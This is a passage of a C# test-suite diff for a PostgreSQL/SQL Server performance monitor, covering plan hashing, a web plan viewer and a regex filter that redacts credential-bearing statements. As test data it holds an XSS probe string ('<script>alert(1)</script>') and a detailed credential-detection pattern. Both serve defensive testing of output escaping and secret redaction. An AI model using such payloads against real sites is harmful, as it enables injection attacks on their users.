+                      { "Node Type": "Seq Scan", "Parent Relationship": "Outer", "Relation Name": "a", "Alias": "a",
+                        "Total Cost": {{c}}, "Plan Rows": {{rows}}, "Actual Rows": {{rows}} },
+                      { "Node Type": "Result", "Parent Relationship": "SubPlan", "Subplan Name": "SubPlan 1",
+                        "Total Cost": {{c}}, "Plan Rows": {{rows}}, "Actual Rows": {{rows}} }
+                    ]
+                  }
+                ]
+              }
+            }
+            """)!.AsObject();
+    }
+
+    /// <summary>Estimates and actuals are dropped at every depth, grandchildren and SubPlan nodes included.</summary>
+    [Fact]
+    public void EstimatesBelowTheFirstChild_DoNotSplitTheHash()
+    {
+        Assert.Equal(Parse(DeepPlan(10.5, 1)).PlanHash, Parse(DeepPlan(99999.5, 777)).PlanHash);
+    }
+
+    /// <summary>The denylist's safe direction: a key this parser has never heard of is part of the shape.</summary>
+    [Fact]
+    public void AnUnknownNodeKey_StillSplits()
+    {
+        var one = AggregateOverIndexScan();
+        ChildOf(one)["Future Field"] = 1;
+        var two = AggregateOverIndexScan();
+        ChildOf(two)["Future Field"] = 2;
+
+        Assert.NotEqual(Parse(one).PlanHash, Parse(two).PlanHash);
+    }
+
+    /// <summary>The projection runs on a clone: the stored JSON is the redacted block with every estimate in it.</summary>
+    [Fact]
+    public void TheProjection_NeverAltersPlanJson()
+    {
+        var block = AggregateOverIndexScan();
+        block["Query Text"] = "SELECT 1";
+        block["Execution Time"] = 45.6;
+
+        var parsed = Parse(block);
+
+        var kept = JsonNode.Parse(parsed.PlanJson)!.AsObject();
+        Assert.False(kept.ContainsKey("Query Text"));
+        Assert.Equal(45.6, kept["Execution Time"]!.GetValue<double>());
+        Assert.Equal(7.59, kept["Plan"]!["Total Cost"]!.GetValue<double>());
+        Assert.Equal(1, kept["Plan"]!["Plan Rows"]!.GetValue<long>());
+        Assert.Equal(0.29, ChildOf(kept)["Startup Cost"]!.GetValue<double>());
+        Assert.Contains("'?'", parsed.PlanJson.Replace("\\u0027", "'"), StringComparison.Ordinal);
+    }
+
+    /// <summary>32 uppercase hex characters, so the 48-bit prefix the plan-flip SQL takes of it stays valid.</summary>
+    [Fact]
+    public void ShapeHash_StaysThirtyTwoHex()
+    {
+        Assert.Matches(new Regex("^[0-9A-F]{32}$"), Parse(AggregateOverIndexScan()).PlanHash);
+    }
+}
diff --git a/Darling/Darling.Tests/PgPlanViewerBehaviourTests.cs b/Darling/Darling.Tests/PgPlanViewerBehaviourTests.cs
new file mode 100644
index 0000000000..3cdbb87541
--- /dev/null
+++ b/Darling/Darling.Tests/PgPlanViewerBehaviourTests.cs
@@ -0,0 +1,167 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web PostgreSQL plan viewer (#5229), from the shipped <c>pg-plan-viewer.js</c> run under Node
+/// (<c>web-pg-plan-viewer-harness.mjs</c>). Node is skipped when it is not installed.
+/// </summary>
+public sealed class PgPlanViewerBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-pg-plan-viewer-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the pg plan viewer harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the pg plan viewer harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string Str(JsonElement r, string name) => r.GetProperty(name).GetString()!;
+
+    [Fact]
+    public void ThePlanButton_OpensTheRowsOwnJson_IndentedAndWithoutARead()
+    {
+        var r = Run("open");
+        Assert.True(r.GetProperty("buttonBefore").GetBoolean());
+        Assert.False(r.GetProperty("preBefore").GetBoolean());
+        Assert.Contains("\n  \"Plan\": {\n    \"Node Type\": \"Seq Scan\"", Str(r, "text"));
+        Assert.True(r.GetProperty("hasCopy").GetBoolean());
+        Assert.True(r.GetProperty("hasDownload").GetBoolean());
+        Assert.Equal("true", Str(r, "expanded"));
+        Assert.Equal(0, r.GetProperty("fetches").GetInt32());
+        Assert.False(r.GetProperty("preAfterHide").GetBoolean());
+        // The open panel is drawn full width under the row (plan-row.js), not inside the last column (click-through 1).
+        Assert.Equal("plan-cell plan-open", Str(r, "openClass"));
+        Assert.True(r.GetProperty("hasSpacer").GetBoolean());
+        Assert.Equal("plan-cell", Str(r, "closedClass"));
+        // One observer while the panel is open and none once it is closed (plan-row.js disconnects it).
+        Assert.Equal(1, r.GetProperty("observersOpen").GetInt32());
+        Assert.Equal(0, r.GetProperty("observersClosed").GetInt32());
+    }
+
+    [Fact]
+    public void ThePlan_IsOnlyEverText()
+    {
+        var r = Run("textOnly");
+        // The FakeNode DOM never parses markup, so these two counts are 0 whatever the module does. They are
+        // not XSS protection. The Contains check below is: an innerHTML write would leave textContent empty.
+        Assert.Equal(0, r.GetProperty("preChildElements").GetInt32());
+        Assert.Equal(0, r.GetProperty("scriptNodes").GetInt32());
+        Assert.Contains("<script>alert(1)</script>", Str(r, "text"));
+    }
+
+    [Fact]
+    public void Download_IsAJsonFile_WithTheShownTextAndASafeName()
+    {
+        var r = Run("download");
+        Assert.Equal("pg-plan-q_1_x-h_1_.json", Str(r, "name"));
+        Assert.Equal("application/json", Str(r, "type"));
+        Assert.Equal(Str(r, "shown"), Str(r, "body"));
+        Assert.Equal("pg-plan--8126435036642491494-ABC123.json", Str(r, "fileName"));
+        Assert.Equal("pg-plan-unknown-unknown.json", Str(r, "missing"));
+    }
+
+    [Fact]
+    public void Copy_PutsTheShownTextOnTheClipboard()
+    {
+        var r = Run("copy");
+        Assert.Equal(Str(r, "shown"), Str(r, "clip"));
+    }
+
+    [Fact]
+    public void APlanThatIsNotJson_IsShownAsStored_WithDownloadOff()
+    {
+        var r = Run("unparsed");
+        Assert.Contains("not valid JSON", Str(r, "notice"));
+        Assert.True(r.GetProperty("downloadDisabled").GetBoolean());
+        Assert.Equal(0, r.GetProperty("downloads").GetInt32());
+        Assert.True(r.GetProperty("copyEnabled").GetBoolean());
+        Assert.Equal("{\"Plan\": {\"Node Ty", Str(r, "shown"));
+    }
+
+    [Fact]
+    public void TheSummary_ListsOnlyFiguresThePlanCarries_AndTheQueryIdCaveatOnlyWhenItApplies()
+    {
+        var r = Run("summary");
+        var text = Str(r, "text");
+        // The figures are formatted with the machine's locale, so expect what the same call gives here.
+        Assert.Contains("Total Cost: " + Str(r, "expectedCost"), text);
+        Assert.Contains("Plan Rows: " + Str(r, "expectedRows"), text);
+        Assert.Contains("Execution Time", text);
+        Assert.DoesNotContain("Actual", text);
+        Assert.True(r.GetProperty("caveat").GetBoolean());
+        Assert.False(r.GetProperty("plainCaveat").GetBoolean());
+        Assert.Equal(0, r.GetProperty("plainSummary").GetInt32());
+    }
+
+    [Fact]
+    public void ARowWithoutAPlan_ShowsADash()
+    {
+        var r = Run("noPlan");
+        Assert.Equal("\u2014", Str(r, "text"));
+        Assert.Equal("\u2014", Str(r, "emptyText"));
+        Assert.False(r.GetProperty("hasButton").GetBoolean());
+    }
+
+    [Fact]
+    public void ARebuiltCell_KeepsItsPanelOpen_ForTheSameServerOnly()
+    {
+        var r = Run("rebuild");
+        Assert.True(r.GetProperty("sameOpen").GetBoolean());
+        Assert.False(r.GetProperty("otherOpen").GetBoolean());
+        Assert.False(r.GetProperty("otherHashOpen").GetBoolean());
+        Assert.Equal(new[] { "srv-a|-8126435036642491494|ABC123" }, r.GetProperty("keys").EnumerateArray().Select(k => k.GetString()).ToArray());
+    }
+
+    [Fact]
+    public void TheColumn_IsNotSortableNorExported_AndHidesWhenEmpty()
+    {
+        var r = Run("column");
+        Assert.Equal("plan", Str(r, "key"));
+        Assert.False(r.GetProperty("csv").GetBoolean());
+        Assert.False(r.GetProperty("sortable").GetBoolean());
+        Assert.False(r.GetProperty("filter").GetBoolean());
+        Assert.False(r.GetProperty("copy").GetBoolean());
+        Assert.True(r.GetProperty("hideWhenEmpty").GetBoolean());
+        Assert.True(r.GetProperty("rendered").GetBoolean());
+    }
+}
diff --git a/Darling/Darling.Tests/PgReadBinaryFileCapabilityLiveTests.cs b/Darling/Darling.Tests/PgReadBinaryFileCapabilityLiveTests.cs
index 6a8db21c59..49f830d6b1 100644
--- a/Darling/Darling.Tests/PgReadBinaryFileCapabilityLiveTests.cs
+++ b/Darling/Darling.Tests/PgReadBinaryFileCapabilityLiveTests.cs
@@ -39,7 +39,7 @@ public async Task IsGrantedAsync_AgainstDevPostgres()
             return;
         }
 
-        const string role = "pm_test_pgreadbinaryfile_role";
+        var role = "pm_test_pgreadbinaryfile_" + Guid.NewGuid().ToString("N")[..8]; // #4981: unique to the run, roles are cluster-wide
 
         await using var adminConnection = new NpgsqlConnection(connectionStringRoot);
         await adminConnection.OpenAsync();
@@ -120,10 +120,11 @@ public async Task TheProbeGivesAGrantAnswerOnASqlAsciiDatabase_AgainstDevPostgre
         const string database = "pm_test_pgreadbinaryfile_sqlascii";
         const string targetKey = "dev-postgres-sqlascii-probe";
 
-        await using var adminConnection = new NpgsqlConnection(connectionStringRoot);
+        /* #5549: unpooled, because this connection runs the drop (and the create beside it). */
+        await using var adminConnection = new NpgsqlConnection(ScratchPostgres.UnpooledAdminConnectionString(connectionStringRoot));
         await adminConnection.OpenAsync();
 
-        await DropScratchDatabaseAsync(adminConnection, database);
+        await DropScratchDatabaseAsync(connectionStringRoot, adminConnection, database);
 
         await using (var create = adminConnection.CreateCommand())
         {
@@ -162,16 +163,18 @@ public async Task TheProbeGivesAGrantAnswerOnASqlAsciiDatabase_AgainstDevPostgre
         }
         finally
         {
-            await LiveStoreCleanup.RunAsync(connectionStringRoot, bodySucceeded, async (cleanup, _) =>
+            await LiveStoreCleanup.RunAsync(ScratchPostgres.UnpooledAdminConnectionString(connectionStringRoot), bodySucceeded, async (cleanup, _) =>
             {
-                await DropScratchDatabaseAsync(cleanup, database);
+                await DropScratchDatabaseAsync(connectionStringRoot, cleanup, database);
             });
         }
     }
 
     /* WITH (FORCE), because the probe's own connection may not have finished closing on the server. */
-    private static async Task DropScratchDatabaseAsync(NpgsqlConnection adminConnection, string database)
+    private static async Task DropScratchDatabaseAsync(string connectionStringRoot, NpgsqlConnection adminConnection, string database)
     {
+        /* No TimescaleDB job worker is left in the database the FORCE drop below kills (#5480). */
+        await ScratchPostgres.QuiesceTimescaleJobsAsync(connectionStringRoot, database);
         await using var drop = adminConnection.CreateCommand();
         drop.CommandTimeout = 60;
         drop.CommandText = $"DROP DATABASE IF EXISTS {database} WITH (FORCE)";
@@ -203,7 +206,9 @@ public async Task IsGrantedAsync_OnAWin1252Database_GrantsTheRoute_AndCachesItsE
         var ct = TestContext.Current.CancellationToken;
         const string database = "pm_test_enc1252";
 
-        await using var admin = new NpgsqlConnection(connectionStringRoot);
+        /* #5549: unpooled, because this connection runs the drop. The database is a bare WIN1252 one made from template0,
+           so it never holds a TimescaleDB job and needs no quiesce. */
+        await using var admin = new NpgsqlConnection(ScratchPostgres.UnpooledAdminConnectionString(connectionStringRoot));
         await admin.OpenAsync(ct);
         await using (var drop = new NpgsqlCommand($"DROP DATABASE IF EXISTS {database}", admin)) { await drop.ExecuteNonQueryAsync(ct); }
         await using (var create = new NpgsqlCommand($"CREATE DATABASE {database} ENCODING 'WIN1252' LC_COLLATE 'C' LC_CTYPE 'C' TEMPLATE template0", admin))
@@ -232,9 +237,9 @@ public async Task IsGrantedAsync_OnAWin1252Database_GrantsTheRoute_AndCachesItsE
         }
         finally
         {
-            await LiveStoreCleanup.RunAsync(connectionStringRoot!, bodySucceeded, async (cleanup, _) =>
+            await LiveStoreCleanup.RunAsync(ScratchPostgres.UnpooledAdminConnectionString(connectionStringRoot!), bodySucceeded, async (cleanup, _) =>
             {
-                await DropScratchDatabaseAsync(cleanup, database);
+                await DropScratchDatabaseAsync(connectionStringRoot!, cleanup, database);
             });
         }
     }
diff --git a/Darling/Darling.Tests/PgSensitiveStatementFilterLiveTests.cs b/Darling/Darling.Tests/PgSensitiveStatementFilterLiveTests.cs
index 9c21ebe5e8..3e8303adbd 100644
--- a/Darling/Darling.Tests/PgSensitiveStatementFilterLiveTests.cs
+++ b/Darling/Darling.Tests/PgSensitiveStatementFilterLiveTests.cs
@@ -7,6 +7,11 @@
  */
 
 using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.Linq;
+using System.Text;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
@@ -31,15 +36,17 @@ namespace Darling.Tests;
 /// <para><b>#1776 own-store</b> — mints its own scratch database (<see cref="ScratchPostgres"/>) rather than
 /// sharing the live fixture, so it is deliberately NOT in the <c>live-postgres</c> collection.</para>
 /// </summary>
+[Collection("timing")]
 public sealed class PgSensitiveStatementFilterLiveTests
 {
     /// <summary>
-    /// Each of the five statement forms the pattern exists to catch, each also with a leading comment and in
-    /// lower case, plus statements that must NOT match: normalized DML, a non-credential setting, a bare
-    /// SELECT, and DDL merely naming a table "passwords".
+    /// The T-SQL corpus (#4348): every statement the shared pattern must name, each also lower-cased and with
+    /// a leading block comment, and the statements it must leave alone, judged in PostgreSQL's own regex
+    /// engine (the engine that decides every stored PostgreSQL statement). The adversarial strings the
+    /// .NET evaluation bounds with a budget are NOT in this parity set: they are only timed here.
     /// </summary>
     [Fact]
-    public async Task ThePatternMatchesTheFiveCredentialFormsAndNothingElse()
+    public async Task TheTSqlCorpusIsNamedAndTheNeighboursAreNot_InPostgresOwnRegexEngine()
     {
         var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
         Assert.SkipWhen(string.IsNullOrWhiteSpace(connectionString),
@@ -50,49 +57,78 @@ public async Task ThePatternMatchesTheFiveCredentialFormsAndNothingElse()
         await using var connection = new NpgsqlConnection(scratch.ConnectionString);
         await connection.OpenAsync(ct);
 
-        var cases = new (string Text, bool Sensitive)[]
+        var failures = new List<string>();
+        foreach (var text in SensitiveStatementCorpus.Named)
         {
-            ("ALTER ROLE app PASSWORD 'secret-x'", true),
-            ("/* c */ ALTER ROLE app PASSWORD 'secret-x'", true),
-            ("alter role app password 'secret-x'", true),
-
-            ("CREATE ROLE r LOGIN PASSWORD 'secret-x'", true),
-            ("/* c */ CREATE ROLE r LOGIN PASSWORD 'secret-x'", true),
-            ("create role r login password 'secret-x'", true),
+            foreach (var variant in SensitiveStatementCorpus.Variants(text))
+            {
+                if (!await IsNamedAsync(connection, variant, ct))
+                {
+                    failures.Add("should be named: " + variant);
+                }
+            }
+        }
 
-            ("CREATE USER MAPPING FOR u SERVER s OPTIONS (user 'u', password 'secret-x')", true),
-            ("/* c */ CREATE USER MAPPING FOR u SERVER s OPTIONS (user 'u', password 'secret-x')", true),
-            ("create user mapping for u server s options (user 'u', password 'secret-x')", true),
+        foreach (var text in SensitiveStatementCorpus.NotNamed)
+        {
+            if (await IsNamedAsync(connection, text, ct))
+            {
+                failures.Add("should NOT be named: " + text);
+            }
+        }
 
-            ("ALTER SYSTEM SET primary_conninfo = 'host=h password=secret-x'", true),
-            ("/* c */ ALTER SYSTEM SET primary_conninfo = 'host=h password=secret-x'", true),
-            ("alter system set primary_conninfo = 'host=h password=secret-x'", true),
+        Assert.True(failures.Count == 0, string.Join(Environment.NewLine, failures));
+    }
 
-            ("CREATE SUBSCRIPTION sub CONNECTION 'host=h password=secret-x' PUBLICATION p", true),
-            ("/* c */ CREATE SUBSCRIPTION sub CONNECTION 'host=h password=secret-x' PUBLICATION p", true),
-            ("create subscription sub connection 'host=h password=secret-x' publication p", true),
+    /// <summary>
+    /// A 1,000,000-character ordinary statement is not named and comes back quickly, and the two strings the
+    /// .NET side bounds with a time budget are timed (not compared) in PostgreSQL's engine, which backtracks
+    /// differently. Each answer and time is written to the test's diagnostics so a run records it.
+    /// </summary>
+    [Fact]
+    public async Task ALargeOrdinaryStatementIsNotNamed_AndTheAdversarialStringsAreTimedInPostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrWhiteSpace(connectionString),
+            "Set DARLING_TEST_PG to a connection string to judge the #4348 pattern in PostgreSQL's regex engine.");
 
-            // role/user/group/subscription/server DDL is withheld whole, whatever it sets
-            ("ALTER ROLE app SET work_mem = '64MB'", true),
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
 
-            ("CREATE USER MAPPING FOR u SERVER s OPTIONS (user 'u', secret_access_key 'secret-x')", true),
-            ("ALTER SERVER s OPTIONS (ADD token 'secret-x')", true),
-            ("CREATE SERVER s FOREIGN DATA WRAPPER w OPTIONS (api_key 'secret-x')", true),
+        var unit = "SELECT col_a, col_b FROM dbo.t WHERE c = 1 AND d <> 2 ";
+        var big = new StringBuilder(1_000_000 + unit.Length);
+        while (big.Length < 1_000_000)
+        {
+            big.Append(unit);
+        }
 
-            ("SELECT * FROM t WHERE password_changed_at > $1", false),
-            ("SET work_mem = '64MB'", false),
-            ("SELECT rolname FROM pg_roles", false),
-            ("SELECT 1", false),
-            ("CREATE TABLE passwords (id int)", false),
-        };
+        var bigText = big.ToString(0, 1_000_000);
+        var watch = Stopwatch.StartNew();
+        var bigNamed = await IsNamedAsync(connection, bigText, ct);
+        watch.Stop();
+        TestContext.Current.SendDiagnosticMessage(string.Create(CultureInfo.InvariantCulture,
+            $"pg ~* on 1,000,000 chars: named={bigNamed}, {watch.ElapsedMilliseconds} ms"));
+        Assert.False(bigNamed);
+        Assert.True(watch.ElapsedMilliseconds < 5000, $"1,000,000-char statement took {watch.ElapsedMilliseconds} ms");
 
-        foreach (var (text, sensitive) in cases)
+        var adversarial = SensitiveStatementCorpus.Adversarial;
+        foreach (var text in adversarial)
         {
-            await using var command = new NpgsqlCommand("SELECT $1 ~* $2", connection);
-            command.Parameters.AddWithValue(text);
-            command.Parameters.AddWithValue(PgSensitiveStatementFilter.SensitiveStatementPattern);
-            var actual = (bool)(await command.ExecuteScalarAsync(ct))!;
-            Assert.True(sensitive == actual, $"sensitive({text}) should be {sensitive}, was {actual}");
+            watch.Restart();
+            var named = await IsNamedAsync(connection, text, ct);
+            watch.Stop();
+            TestContext.Current.SendDiagnosticMessage(string.Create(CultureInfo.InvariantCulture,
+                $"pg ~* on adversarial '{text.Substring(0, 8)}...': named={named}, {watch.ElapsedMilliseconds} ms"));
         }
     }
+
+    private static async Task<bool> IsNamedAsync(NpgsqlConnection connection, string text, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand("SELECT $1 ~* $2", connection);
+        command.Parameters.AddWithValue(text);
+        command.Parameters.AddWithValue(PgSensitiveStatementFilter.SensitiveStatementPattern);
+        return (bool)(await command.ExecuteScalarAsync(ct))!;
+    }
 }
diff --git a/Darling/Darling.Tests/PgSensitiveStatementFilterTests.cs b/Darling/Darling.Tests/PgSensitiveStatementFilterTests.cs
index 39d1cc3d72..4dc2655d17 100644
--- a/Darling/Darling.Tests/PgSensitiveStatementFilterTests.cs
+++ b/Darling/Darling.Tests/PgSensitiveStatementFilterTests.cs
@@ -25,8 +25,31 @@ namespace Darling.Tests;
 /// <c>RegexParseException</c> on the POSIX class syntax), so this file only proves the census, not the match
 /// behavior.
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class PgSensitiveStatementFilterTests
 {
+    /// <summary>
+    /// The stored-text scrub's frozen pattern is the exact text of the shipped version 1 pattern (the dev
+    /// definition before the filter was widened), and it is not the live shared pattern: no stored row is
+    /// rewritten by the wider filter, so the scrub must keep naming exactly what it named.
+    /// </summary>
+    [Fact]
+    public void TheStoredTextScrubKeepsItsFrozenVersionOnePattern()
+    {
+        const string gap = "([[:space:]]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^[:cntrl:]]*)";
+        const string shippedVersionOne =
+            "[[:<:]](create|alter)" + gap + "+(role|user|group|subscription|server)[[:>:]]" +
+            "|[[:<:]]password[[:>:]]" + gap + "*(=|to)?" + gap + "*(e?'|u&'|[$][^0-9])" +
+            "|[[:<:]](pg)?password[[:space:]]*=[[:space:]]*[^$[:space:]]" +
+            "|[a-z][a-z0-9+.-]*://[^[:space:]/@:]+:[^[:space:]/@]+@";
+
+        Assert.Equal(shippedVersionOne, PerformanceMonitor.Darling.Service.PgStatementTextScrub.Version1Pattern);
+        Assert.NotEqual(PerformanceMonitor.Common.SensitiveStatements.Pattern,
+            PerformanceMonitor.Darling.Service.PgStatementTextScrub.Version1Pattern);
+        Assert.Equal(1, PerformanceMonitor.Darling.Service.PgStatementTextScrub.ScrubVersion);
+    }
+
     /// <summary>
     /// One definition in the whole repo. Every occurrence of the pattern's opening token
     /// (<c>[[:&lt;:]](create|alter)</c>) must be the ONE declaration in <see cref="PgSensitiveStatementFilter"/>
@@ -59,6 +82,15 @@ public void ThePatternHasExactlyOneDefinitionInTheRepo()
                 continue;
             }
 
+            // The stored-text scrub carries one deliberate, frozen copy: the version 1 pattern of the shipped
+            // scrub (PgStatementTextScrub.Version1Pattern), kept apart from the live definition because no
+            // stored row is rewritten by the wider filter. It is pinned to the literal by
+            // TheStoredTextScrubKeepsItsFrozenVersionOnePattern below, so it cannot drift either.
+            if (Path.GetFileName(file) == "PgStatementTextScrub.cs")
+            {
+                continue;
+            }
+
             var text = File.ReadAllText(file);
             if (text.Contains(needle, StringComparison.Ordinal))
             {
@@ -69,7 +101,7 @@ public void ThePatternHasExactlyOneDefinitionInTheRepo()
 
         Assert.Equal(1, hits);
         Assert.NotNull(onlyFile);
-        Assert.EndsWith("PgSensitiveStatementFilter.cs", onlyFile, StringComparison.Ordinal);
+        Assert.EndsWith("SensitiveStatements.cs", onlyFile, StringComparison.Ordinal);
     }
 
     /// <summary>
@@ -128,11 +160,31 @@ public void PgBlockingCollector_QueryText_ReferencesTheSharedFilter()
     [Fact]
     public void SqlPredicate_MatchesTheLiteralExpectedSql()
     {
+        // The pattern is typed out by hand here (never built from the shared constants) so a change to the
+        // shared pattern fails this test until the expected text is updated on purpose. A1-A4 are the original
+        // alternatives, byte-identical; T1-T10 are the appended T-SQL alternatives (#4348, #5320).
+        const string gap = "([[:space:]]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^[:cntrl:]]*)";
         const string expected =
-            "CASE WHEN c ~* '[[:<:]](create|alter)([[:space:]]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^[:cntrl:]]*)+" +
-            "(role|user|group|subscription|server)[[:>:]]|[[:<:]]password[[:>:]]([[:space:]]|/[*]([^*]|[*]+[^*/])*[*]+/|" +
-            "--[^[:cntrl:]]*)*(=|to)?([[:space:]]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^[:cntrl:]]*)*(e?''|u&''|[$][^0-9])|" +
-            "[[:<:]](pg)?password[[:space:]]*=[[:space:]]*[^$[:space:]]|[a-z][a-z0-9+.-]*://[^[:space:]/@:]+:[^[:space:]/@]+@' " +
+            "CASE WHEN c ~* '[[:<:]](create|alter)" + gap + "+(role|user|group|subscription|server)[[:>:]]" +
+            "|[[:<:]]password[[:>:]]" + gap + "*(=|to)?" + gap + "*(e?''|u&''|[$][^0-9])" +
+            "|[[:<:]](pg)?password[[:space:]]*=[[:space:]]*[^$[:space:]]" +
+            "|[a-z][a-z0-9+.-]*://[^[:space:]/@:]+:[^[:space:]/@]+@" +
+            "|[[:<:]](create|alter)" + gap + "+(login|credential)[[:>:]]" +
+            "|[[:<:]]scoped" + gap + "+credential[[:>:]]" +
+            "|[[:<:]]([a-z0-9_]*(password|passwd|pwd|secret)|key_source)[[:>:]]" + gap + "*(=|to)?" +
+            gap + "*(n?''|e''|u&''|0x|[$][^0-9])" +
+            "|[[:<:]]pwd[[:space:]]*=[[:space:]]*[^$@[:space:]]" +
+            "|[[:<:]](sp_addlogin|sp_password|sp_addlinkedsrvlogin|sp_addapprole|sp_approlepassword|sp_setapprole" +
+            "|sp_change_users_login|sp_adddistributor|sp_changedistributor_password|sp_adddistpublisher" +
+            "|sp_addsubscriber|sp_link_publication|sp_control_dbmasterkey_password|sp_xp_cmdshell_proxy_account)[[:>:]]" +
+            "|[[:<:]](encryptbypassphrase|decryptbypassphrase|decryptbykeyautocert|decryptbykeyautoasymkey" +
+            "|decryptbyasymkey|decryptbycert|signbycert|signbyasymkey|pwdencrypt|pwdcompare)[[:>:]]" +
+            "|[[:<:]]opendatasource[[:>:]]" +
+            "|[[:<:]]openrowset" + gap + "*[(]" + gap + "*n?''" +
+            "|[[:<:]][a-z0-9_]*(password|passwd|pwd|secret)(]|\")" + gap + "*=" + gap + "*(n?''|e''|u&''|0x)" +
+            "|[[:<:]]([a-z0-9_]*(password|passwd|pwd|secret)|key_source)" + gap + "+((as|constant)" + gap + "+)?" +
+            "[[]?[a-z_][a-z0-9_.]*]?([[:space:]]*[(][[:space:]0-9a-z,]{0,20}[)])?" + gap +
+            "*(:?=|default[[:>:]])" + gap + "*(n?''|e''|u&''|0x|[$][^0-9])' " +
             "THEN '-- statement text withheld (#4348)' ELSE c END";
 
         Assert.Equal(expected, PgSensitiveStatementFilter.SqlPredicate("c"));
diff --git a/Darling/Darling.Tests/PgServerConfigOverrideLivePostgresTests.cs b/Darling/Darling.Tests/PgServerConfigOverrideLivePostgresTests.cs
index 6dbaa3848d..e8b4a18e8d 100644
--- a/Darling/Darling.Tests/PgServerConfigOverrideLivePostgresTests.cs
+++ b/Darling/Darling.Tests/PgServerConfigOverrideLivePostgresTests.cs
@@ -288,7 +288,7 @@ public async Task TheChangeFeed_ReportsOverrideChangesSetsAndResets_AndLeavesThe
 
             var bareRoot = JsonDocument.Parse(bare).RootElement;
             Assert.Equal(
-                new[] { "server", "hours_back", "status", "change_count", "truncated", "note", "changes" },
+                new[] { "server", "hours_back", "effective_start", "window_truncated", "truncation_note", "status", "change_count", "truncated", "note", "changes" },
                 bareRoot.EnumerateObject().Select(p => p.Name).ToArray());
             var only = Assert.Single(bareRoot.GetProperty("changes").EnumerateArray().ToList());
             Assert.Equal(
diff --git a/Darling/Darling.Tests/PgServerConfigPendingRestartLiveTests.cs b/Darling/Darling.Tests/PgServerConfigPendingRestartLiveTests.cs
index 35ba0b9fc2..3a706982ac 100644
--- a/Darling/Darling.Tests/PgServerConfigPendingRestartLiveTests.cs
+++ b/Darling/Darling.Tests/PgServerConfigPendingRestartLiveTests.cs
@@ -26,7 +26,7 @@ namespace Darling.Tests;
 /// collector query against the SAME state (the fix), rather than asserting against a canned fixture — the
 /// point of #4251 is that the two disagree.</para>
 /// </summary>
-[Collection("live-postgres")]
+[Collection("pg-cluster-roles")]
 public sealed class PgServerConfigPendingRestartLiveTests
 {
     private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
@@ -329,7 +329,7 @@ public async Task ANonSuperuserRoleWithoutTheGrants_KeepsTodaysAnswer_AndTheCapa
         var cs = ConnectionString;
         Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the #4251 permission round trip.");
         var ct = TestContext.Current.CancellationToken;
-        const string roleName = "pm_4251_monitor_role";
+        var roleName = "pm_4251_monitor_" + Guid.NewGuid().ToString("N")[..8]; // #4981: unique to the run, roles are cluster-wide
         var targetKey = "pg-4251-permissions-" + Guid.NewGuid().ToString("N");
 
         await using var setup = new NpgsqlConnection(cs);
diff --git a/Darling/Darling.Tests/PgServerConfigScopeRungTests.cs b/Darling/Darling.Tests/PgServerConfigScopeRungTests.cs
index bed59feae2..8e706487d2 100644
--- a/Darling/Darling.Tests/PgServerConfigScopeRungTests.cs
+++ b/Darling/Darling.Tests/PgServerConfigScopeRungTests.cs
@@ -406,8 +406,10 @@ A secret can land in a per-database or per-role override exactly as easily as in
         /* 10 -> 12 (#3937): ScopedConfigChangesSql's `snapshots` subquery and `overrides` CTE, both aliased
            `FROM pg_server_config AS c`, both classified "selects" above. 12 -> 13 (#4348 S1b): the scrub's
            one candidate read, classified above as the deliberate third answer. 13 -> 15 (#4677): the eviction
-           finding's pg_stat_statements.max read and the top-queries reader's, both server-wide (they exclude the overrides). */
-        Assert.Equal(15, reads);
+           finding's pg_stat_statements.max read and the top-queries reader's, both server-wide (they exclude the overrides).
+           15 -> 16 (#4938): the worker's server-clock read (DarlingWorker.ReadPgServerClockSql), the newest server-wide
+           TimeZone setting of a PostgreSQL target, which excludes the overrides the same way. */
+        Assert.Equal(16, reads);
         Assert.True(undecided.Count == 0,
             "a pg_server_config read carries neither arm of the V138 scope split, so it will see per-database "
           + "and per-role override rows as if they were the server's settings: ["
